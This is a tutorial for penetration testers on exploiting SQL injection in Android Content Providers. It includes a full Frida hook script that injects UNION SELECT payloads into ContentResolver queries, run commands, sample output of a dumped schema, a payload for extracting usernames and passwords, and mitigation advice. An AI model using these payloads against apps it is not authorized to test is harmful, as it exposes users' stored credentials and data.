Introduction: The Peril of Content Provider SQLi

Android applications frequently leverage Content Providers to manage and share structured data between different components or even distinct applications. While incredibly useful for inter-process communication (IPC) and data abstraction, improperly implemented Content Providers can become a significant attack surface. One of the most critical vulnerabilities that can arise is SQL Injection (SQLi), which allows attackers to execute arbitrary SQL commands against the underlying database (often SQLite) used by the Content Provider.

Traditional methods of identifying and exploiting Content Provider SQLi often involve static analysis, manual interaction, or brute-forcing potential injection points. However, these methods can be time-consuming and lack the dynamic, real-time feedback crucial for effective penetration testing. This is where Frida, a dynamic instrumentation toolkit, shines. By hooking into critical Content Provider methods, we can intercept, modify, and observe queries in real-time, transforming the exploitation process into an interactive and highly efficient exercise.

Understanding Android Content Providers

What are Content Providers?

In the Android ecosystem, Content Providers act as an interface for querying and modifying data. They abstract the underlying data storage mechanism, allowing applications to store and retrieve data from various sources like SQLite databases, files, or even network data. They expose a URI (Uniform Resource Identifier) to identify the data they manage, and applications interact with them using a ContentResolver object.

Key methods for Content Providers include:

• query(): Retrieves data from the provider.
• insert(): Inserts new data into the provider.
• update(): Updates existing data in the provider.
• delete(): Deletes data from the provider.

Our focus for SQL Injection will primarily be on the query() method, as it involves constructing SQL statements based on user-supplied input, making it susceptible to injection through parameters like selection, selectionArgs, and sortOrder.

Identifying SQL Injection Vulnerabilities

A Content Provider becomes vulnerable to SQL Injection when it directly concatenates untrusted user input into raw SQL queries without proper sanitization or parameterization. For instance, if a selection clause is built directly from an external string, an attacker can append malicious SQL fragments to escape the intended query and execute arbitrary commands.

Frida: Your Real-Time Exploitation Toolkit

Frida allows us to inject custom scripts into running processes on Android devices. This capability is invaluable for penetration testing because it enables us to:

• Inspect function arguments and return values.
• Modify arguments before they are passed to a function.
• Replace entire function implementations.
• Call arbitrary Java methods dynamically.

For Content Provider SQLi, Frida allows us to hook the ContentResolver.query() method (or the underlying ContentProvider.query() implementation) to intercept the URI, projection, selection, selection arguments, and sort order. We can then dynamically alter these parameters to inject SQL payloads and observe the immediate impact on the query’s execution and results.

Setting Up Your Environment (Quick Overview)

Before diving into the exploitation, ensure you have:

• A rooted Android device or emulator.
• Frida-server running on the device.
• Frida-tools installed on your host machine (pip install frida-tools).
• adb installed and configured.

Verify Frida is working by running frida-ps -U to list processes on your device.

Step-by-Step Exploitation with Frida

1. Identifying Target Content Providers

First, we need to identify the Content Providers exposed by the target application. This can often be done by examining the application’s AndroidManifest.xml or by using adb dumpsys.

adb shell dumpsys package your.package.name | grep -A 5 "ContentProviders:"

Look for providers with android:exported="true", as these are accessible to other applications and thus more likely targets for external attack. Even non-exported providers can be attacked if you have code execution within the app’s process.

2. Crafting the Frida Hook for ContentResolver.query

We will write a Frida script to intercept calls to ContentResolver.query(). This script will log the original arguments, inject our SQL payload into a vulnerable parameter (e.g., selection or sortOrder), and then log the results returned by the provider.

Java.perform(function() {    var ContentResolver = Java.use("android.content.ContentResolver");    var Uri = Java.use("android.net.Uri");    // Hooking the specific overload of query that takes selectionArgs (most common for SQLi)    ContentResolver.query.overload('android.net.Uri', '[Ljava.lang.String;', 'java.lang.String', '[Ljava.lang.String;', 'java.lang.String').implementation = function(uri, projection, selection, selectionArgs, sortOrder) {        console.log("[+] ContentResolver.query called:");        console.log("    URI: " + uri.toString());        console.log("    Projection: " + (projection ? JSON.stringify(projection) : "null"));        console.log("    Original Selection: " + selection);        console.log("    Original Selection Args: " + (selectionArgs ? JSON.stringify(selectionArgs) : "null"));        console.log("    Original Sort Order: " + sortOrder);        // --- SQL Injection Logic ---        var injectedSelection = "1=1 UNION SELECT name, sql FROM sqlite_master WHERE type='table' --";        var injectedSortOrder = "name ASC, (SELECT sql FROM sqlite_master WHERE type='table' LIMIT 1) --"; // Example for sortOrder SQLi        // A more targeted payload for a specific table, e.g., 'users'        // var sensitiveDataInjection = "1=1 UNION SELECT username, password FROM users --";        // Conditionally inject into selection or sortOrder based on some criteria (e.g., URI path or a known vulnerable parameter string)        var newSelection = selection;        var newSortOrder = sortOrder;        var newSelectionArgs = selectionArgs;        // Example: If the URI path contains 'vulnerable_data' and selection is not null        if (uri.getPath().includes("vulnerable_data") && selection) {            console.log("[*] Detected call to vulnerable URI path. Attempting SQL Injection via selection!");            newSelection = injectedSelection;            newSelectionArgs = null; // Important: Clear selectionArgs if injecting into selection to avoid breaking query            console.log("    Modified Selection: " + newSelection);        } else if (uri.getPath().includes("sorted_items") && sortOrder) {            console.log("[*] Detected call to sorting URI path. Attempting SQL Injection via sortOrder!");            newSortOrder = injectedSortOrder;            console.log("    Modified Sort Order: " + newSortOrder);        }        // Call the original (or modified) query method        var cursor = this.query(uri, projection, newSelection, newSelectionArgs, newSortOrder);        // --- Process Results ---        if (cursor) {            console.log("[+] Query executed. Cursor details:");            var columnNames = cursor.getColumnNames();            console.log("    Columns: " + JSON.stringify(columnNames));            var rows = [];            while (cursor.moveToNext()) {                var rowData = {};                for (var i = 0; i < columnNames.length; i++) {                    var colName = columnNames[i];                    try {                        // Attempt to get string, handle potential errors for non-string types                    rowData[colName] = cursor.getString(i);                    } catch (e) {                        rowData[colName] = "[Error or non-string type: " + e.message + "]";                    }                }                rows.push(rowData);            }            console.log("    Rows: " + JSON.stringify(rows, null, 2));            // Reset cursor position to the beginning for the original caller            cursor.moveToFirst();        } else {            console.log("[-] Query returned null cursor.");        }        return cursor;    };});

In this script:

• We use Java.perform to ensure our code runs within the app’s Java context.
• Java.use("android.content.ContentResolver") gets a handle to the ContentResolver class.
• We select the specific query overload to hook.
• Inside the implementation, we log the original arguments.
• We define our SQL injection payloads. A common SQLi payload for dumping schema is 1=1 UNION SELECT name, sql FROM sqlite_master WHERE type='table' --. This attempts to retrieve table names and their creation SQL from the `sqlite_master` table.
• We then conditionally replace the selection or sortOrder argument with our payload. It’s crucial to set newSelectionArgs = null if you inject into selection, as parameterized queries typically prevent injection.
• We call the original query method with our (potentially modified) arguments.
• Finally, we iterate through the returned Cursor to print the results, giving us immediate feedback on the success of our injection. We then reset the cursor to `moveToFirst()` so the legitimate application code isn’t affected downstream.

3. Running the Frida Script

Save the above script as frida_sql_inject.js. Then, execute it against your target application:

frida -U -f your.package.name -l frida_sql_inject.js --no-pause

Replace your.package.name with the actual package name of the target application.

4. Triggering the Vulnerability and Observing Results

With Frida attached and the script running, interact with the application. Navigate to features that you suspect might interact with Content Providers, especially those involving searching, filtering, or sorting data. When the application makes a call to ContentResolver.query(), your Frida script will intercept it. If your injection logic matches (e.g., the URI path or selection string contains keywords you’ve targeted), the payload will be injected, and the results from the underlying database will be printed to your console.

You will see output similar to:

[+] ContentResolver.query called:    URI: content://your.package.name.provider/vulnerable_data    ...[*] Detected call to vulnerable URI path. Attempting SQL Injection via selection!    Modified Selection: 1=1 UNION SELECT name, sql FROM sqlite_master WHERE type='table' --[+] Query executed. Cursor details:    Columns: ["name", "sql"]    Rows: [      { "name": "android_metadata", "sql": "CREATE TABLE android_metadata (locale TEXT)" },      { "name": "users", "sql": "CREATE TABLE users (_id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT)" },      { "name": "products", "sql": "CREATE TABLE products (_id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, price REAL)" }    ]

This output clearly shows the database schema has been successfully dumped.

Advanced Exploitation Concepts

Dumping Database Schema

As demonstrated, the UNION SELECT name, sql FROM sqlite_master payload is incredibly powerful for discovering table names and their schema definitions. You can then use this information to target specific tables.

Extracting Sensitive Data

Once you know the table and column names (e.g., users, username, password), you can refine your UNION SELECT payload to extract sensitive data:

var sensitiveDataInjection = "1=1 UNION SELECT username, password FROM users --"; // Assuming two string columns are expected

Adjust the number of columns and their types in the UNION SELECT to match the original query’s expected column count and types to avoid errors.

Mitigation Strategies

To prevent Content Provider SQL Injection, developers should:

• **Use Parameterized Queries:** Always use parameterized queries or prepared statements (e.g., selectionArgs) for SQL queries, especially when dealing with user input. Never concatenate user input directly into SQL statements.
• **Input Validation:** Implement strict input validation on all user-supplied data before it’s used in queries.
• **Principle of Least Privilege:** Limit the exposed data and operations through Content Providers.
• **Non-Exported Providers:** Mark Content Providers as android:exported="false" unless they explicitly need to be accessed by other applications.

Conclusion

Frida provides an unparalleled level of control and insight into the runtime behavior of Android applications, making it an indispensable tool for penetration testers. By leveraging Frida hooks, we can effectively intercept, modify, and exploit Content Provider SQL Injection vulnerabilities in real-time, drastically reducing the time and effort required for discovery and verification. Mastering this technique empowers security professionals to identify and demonstrate the impact of these critical flaws with precision and efficiency.